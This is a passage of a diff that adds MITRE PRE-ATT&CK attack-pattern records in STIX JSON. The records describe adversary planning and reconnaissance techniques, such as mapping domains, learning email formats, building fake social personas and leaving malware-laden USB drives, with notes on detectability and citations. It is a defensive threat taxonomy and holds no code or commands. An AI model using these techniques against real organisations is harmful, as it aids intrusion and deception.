"phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--dfa4eaf4-50d9-49de-89e9-d33f579f3e05", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Press releases may reveal this information particularly when it is an expected cost savings or improvement for scalability/reliability.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1284", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1284" + }, + { + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.", + "source_name": "LUCKYCAT2012" + }, + { + "description": "Bruce Schneier. (2017, April 5). APT10 and Cloud Hopper. Retrieved May 9, 2017.", + "source_name": "Schneier-cloud" + }, + { + "description": "Michael Kan. (2017, April 4). Chinese hackers go after third-party IT suppliers to steal data. Retrieved May 9, 2017.", + "source_name": "Computerworld-suppliers" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1037", + "x_mitre_detectable_by_common_defenses_explanation": "The data is passive in nature or not controlled by the defender, so it is hard to identify when an adversary is getting or analyzing the data.", + "name": "Determine 3rd party infrastructure services", + "description": "Infrastructure services includes the hardware, software, and network resources required to operate a communications environment. This infrastructure can be managed by a 3rd party rather than being managed by the owning organization. (Citation: FFIECAwareness) (Citation: Zetter2015Threats)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--856a9371-4f0f-4ea9-946e-f3144204240f", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Based on what the 3rd party infrastructure is, there are many tell tail signs which indicate it is hosted by a 3rd party, such as ASN data, MX or CNAME pointers or IP addresses", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1260", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1260" + }, + { + "description": "Federal Financial Institutions Examination Council. (2016, October 17). Cybersecurity Awareness. Retrieved March 5, 2017.", + "source_name": "FFIECAwareness" + }, + { + "description": "Kim Zetter. (2015, January 4). The Biggest Security Threats We\u2019ll Face in 2015. Retrieved March 5, 2017.", + "source_name": "Zetter2015Threats" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1022", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "name": "Determine approach/attack vector", + "description": "The approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "id": "attack-pattern--d45fe3c2-0688-43b9-ac07-7eb86f575e93", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1245", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1245" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + }, + { + "description": "Jonathan Wrolstad and Barry Vengerik. (2015, November). Pinpointing Targets: Exploiting Web Analytics to Ensnare Victims. Retrieved March 5, 2017.", + "source_name": "WITCHCOVEN2015" + }, + { + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.", + "source_name": "JP3-60" + }, + { + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.", + "source_name": "JP3-12R" + }, + { + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.", + "source_name": "DoD Cyber 2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1062", + "x_mitre_detectable_by_common_defenses_explanation": "No technical means to detect an adversary collecting information about a target. Any detection would be based upon strong OPSEC policy implementation.", + "name": "Determine centralization of IT management", + "description": "Determining if a \"corporate\" help desk exists, the degree of access and control it has, and whether there are \"edge\" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--a7dff5d5-99f9-4a7e-ac54-a64113c28121", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Requires an adversary to undergo a research process to learn the internal workings of an organization. An adversary can do this by social engineering individuals in the company by claiming to need to find information for the help desk, or through social engineering of former employees or business partners.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1285", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1285" + }, + { + "description": "Scott Rasmussen. (2002, January 28). Centralized Network Security Management: Combining Defense In Depth with Manageable Security. Retrieved March 5, 2017.", + "source_name": "SANSCentratlizeManagement" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1027", + "x_mitre_detectable_by_common_defenses_explanation": "Public or easily obtainable information by design.", + "name": "Determine domain and IP address space", + "description": "Domain Names are the human readable names used to represent one or more IP addresses. IP addresses are the unique identifier of computing devices on a network. Both pieces of information are valuable to an adversary who is looking to understand the structure of a network. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--23ecb7e0-0340-43d9-80a5-8971fe866ddf", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "AS and IANA data are easily available, existing research tools.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1250", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1250" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1036", + "x_mitre_detectable_by_common_defenses_explanation": "This is not easily performed remotely and therefore not a detectable event. If the adversary can sniff traffic to deduce trust relations, this is a passive activity and not detectable.", + "name": "Determine external network trust dependencies", + "description": "Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)", + "kill_chain_phases": [ + { + "phase_name": "technical-information-gathering", + "kill_chain_name": "mitre-pre-attack" + } + ], + "id": "attack-pattern--a2fc93cd-e371-4755-9305-2615b6753d91", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Determining trust relationships once internal to a network is trivial. Simple tools like trace route can show evidence of firewalls or VPNs and then hosts on the either side of the firewall indicating a different trusted network. Active Directory command line tools can also identify separate trusted networks.\n\nIf completely external to a network, sniffing traffic (if possible) could also reveal the communications protocols that could be guessed to be a trusted network connection (e.g., IPsec, maybe SSL, etc.) though this is error-prone. \n\nWith no other access, this is hard for an adversary to do completely from a remote vantage point.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-05T23:14:16.924Z", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1259", + "url": "https://attack.mitre.org/techniques/T1259" + }, + { + "source_name": "CuckoosEgg", + "description": "Cliff Stoll. (1089). The Cuckoo's Egg. Retrieved August 8, 2017." + }, + { + "source_name": "CuckoosEggWikipedia", + "description": "Wikipedia contributors. (2017, January 18). The Cuckoo's Egg. Retrieved March 5, 2017." + }, + { + "source_name": "KGBComputerMe", + "description": "WBGH Nova. (1990, October 3). The KGB, the Computer and Me. Retrieved March 5, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1035", + "x_mitre_detectable_by_common_defenses_explanation": "No easy way for defenders to detect when an adversary collects this information.", + "name": "Determine firmware version", + "description": "Firmware is permanent software programmed into the read-only memory of a device. As with other types of software, firmware may be updated over time and have multiple versions. (Citation: Abdelnur Advanced Fingerprinting)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--6baf6388-d49f-4804-86a4-5837240555cd", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Depending upon the target device, there are variable ways for an adversary to determine the firmware version. In some cases, this information can be derived from easily obtained information. For example, in [http://www.cisco.com Cisco] devices, the firmware version is easily determined once the device model and OS version is known since it is included in the release notes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1258", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1258" + }, + { + "description": "Humberto J. Abdelnur, Radu State, Olivier Festor. (2008). Advanced Network Fingerprinting. Retrieved April 2, 2017.", + "source_name": "Abdelnur Advanced Fingerprinting" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1020", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "name": "Determine highest level tactical element", + "description": "From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "id": "attack-pattern--dc7dfc9f-be1b-4e6e-a2e6-9a9bb2400ec9", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1243", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1243" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + }, + { + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.", + "source_name": "JP3-60" + }, + { + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.", + "source_name": "JP3-12R" + }, + { + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.", + "source_name": "DoD Cyber 2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1019", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "name": "Determine operational element", + "description": "If going from strategic down to tactical or vice versa, an adversary would next consider the operational element. For example, the specific company within an industry or agency within a government. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "id": "attack-pattern--c860af4a-376e-46d7-afbf-262c41012227", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1242", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1242" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + }, + { + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.", + "source_name": "JP3-60" + }, + { + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.", + "source_name": "JP3-12R" + }, + { + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.", + "source_name": "DoD Cyber 2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1059", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary searches publicly available sources that list physical locations that cannot be monitored by a defender or are not necessarily monitored (e.g., all IP addresses touching their public web space listing physical locations).", + "name": "Determine physical locations", + "description": "Physical locality information may be used by an adversary to shape social engineering attempts (language, culture, events, weather, etc.) or to plan for physical actions such as dumpster diving or attempting to access a facility. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--2011ffeb-8003-41ef-b962-9d1cbfa35e6d", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Most corporations now list their locations on public facing websites. Some challenge still exists to find covert or sensitive locations.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1282", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1282" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1021", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "name": "Determine secondary level tactical element", + "description": "The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "id": "attack-pattern--b9148981-152a-4a19-95c1-962803f5c9af", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1244", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1244" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + }, + { + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.", + "source_name": "JP3-60" + }, + { + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.", + "source_name": "JP3-12R" + }, + { + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.", + "source_name": "DoD Cyber 2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1018", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. May change for special use cases or adversary and defender overlays.", + "name": "Determine strategic target", + "description": "An adversary undergoes an iterative target selection process that may begin either broadly and narrow down into specifics (strategic to tactical) or narrowly and expand outward (tactical to strategic). As part of this process, an adversary may determine a high level target they wish to attack. One example of this may be a particular country, government, or commercial sector. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "target-selection" + } + ], + "id": "attack-pattern--91a3735f-817a-4450-8ed4-f05a0f5c3877", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "This is the normal adversary targeting cycle where they utilize our poor OPSEC practices to their advantage.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1241", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1241" + }, + { + "description": "Elizabeth Van Ruitenbeek, Ken Keefe, William H. Sanders, and Carol Muehrcke. (2010). Characterizing the Behavior of Cyber Adversaries: The Means, Motive, and Opportunity of Cyberattacks. Retrieved March 5, 2017.", + "source_name": "CyberAdversaryBehavior" + }, + { + "description": "Joint Chiefs of Staff. (2013, January 31). Joint Targeting. Retrieved May 19, 2017.", + "source_name": "JP3-60" + }, + { + "description": "Joint Chiefs of Staff. (2013, February 5). Cyberspace Operations. Retrieved May 19, 2017.", + "source_name": "JP3-12R" + }, + { + "description": "Department of Defense. (2015, April). The Department of Defense Cyber Strategy. Retrieved May 19, 2017.", + "source_name": "DoD Cyber 2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1004", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "name": "Develop KITs/KIQs", + "description": "Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management's intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. (Citation: Herring1999)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "id": "attack-pattern--6063b486-a247-499b-976a-9de16f4e83bc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1227", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1227" + }, + { + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017.", + "source_name": "Herring1999" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1119", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "name": "Develop social network persona digital footprint", + "description": "Both newly built personas and pre-compromised personas may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "id": "attack-pattern--271e6d40-e191-421a-8f87-a8102452c201", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "The only difference between an adversary conducting this technique and a typical user, is the adversary's intent - to target an individual for compromise.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1342", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1342" + }, + { + "description": "Mike Lennon. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "description": "Thomas Ryan. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + }, + { + "description": "Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017.", + "source_name": "RobinSageInterview" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1127", + "x_mitre_detectable_by_common_defenses_explanation": "Public source external to the defender's organization.", + "name": "Discover new exploits and monitor exploit-provider forums", + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may need to discover new exploits when existing exploits are no longer relevant to the environment they are trying to compromise. An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. (Citation: EquationQA)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "id": "attack-pattern--82bbd209-f516-45e0-9542-4ffbbc2a8717", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Many public sources exist for this information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1350", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1350" + }, + { + "description": "Kaspersky Lab. (2015, February). EQUATION GROUP: QUESTIONS AND ANSWERS. Retrieved March 9, 2017.", + "source_name": "EquationQA", + "url": "https://www.threatminer.org/_reports/2015/Equation_group_questions_and_answers.pdf" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1032", + "x_mitre_detectable_by_common_defenses_explanation": "Easily determined and not intended to be protected information. Publicly collected and shared repositories of email addresses exist.", + "name": "Discover target logon/email address format", + "description": "Email addresses, logon credentials, and other forms of online identification typically share a common format. This makes guessing other credentials within the same domain easier. For example if a known email address is first.last@company.com it is likely that others in the company will have an email in the same format. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--ef0f816a-d561-4953-84c6-2a2936c96957", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Scraping of known email addresses from the target will likely reveal the target standard for address/username format. This information is easily discoverable.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1255", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1255" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1156", + "x_mitre_detectable_by_common_defenses_explanation": "From a technical perspective, detection of an adversary disseminating removable media is not possible as there is no technical element involved until the compromise phase. Most facilities generally do not perform extensive physical security patrols, which would be necessary in order to promptly identify an adversary deploying removable media to be used in an attack.", + "name": "Disseminate removable media", + "description": "Removable media containing malware can be injected in to a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "stage-capabilities" + } + ], + "id": "attack-pattern--2f442206-2983-4fc2-93fd-0a828e026412", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Commonly executed technique by penetration testers to gain access to networks via end users who are innately trusting of newly found or available technology.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1379", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1379" + }, + { + "description": "Sean Carroll. (2010, November 4). USB Malware Attacks On the Rise. Retrieved March 9, 2017.", + "source_name": "USBMalwareAttacks" + }, + { + "description": "William J. Lynn III. (2010, September). Defending a New Domain. Retrieved March 9, 2017.", + "source_name": "FPDefendNewDomain" + }, + { + "description": "Emil Protalinski. (2012, July 11). Criminals push malware by 'losing' USB sticks in parking lots. Retrieved March 9, 2017.", + "source_name": "ParkingLotUSB" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1171", + "x_mitre_detectable_by_common_defenses_explanation": "Developers could check a hash or signature of their development tools to ensure that they match expected values (e.g., Apple provides instructions of how to do so for its Xcode developer tool), but developers may not always do so.", + "name": "Distribute malicious software development tools", + "description": "An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) 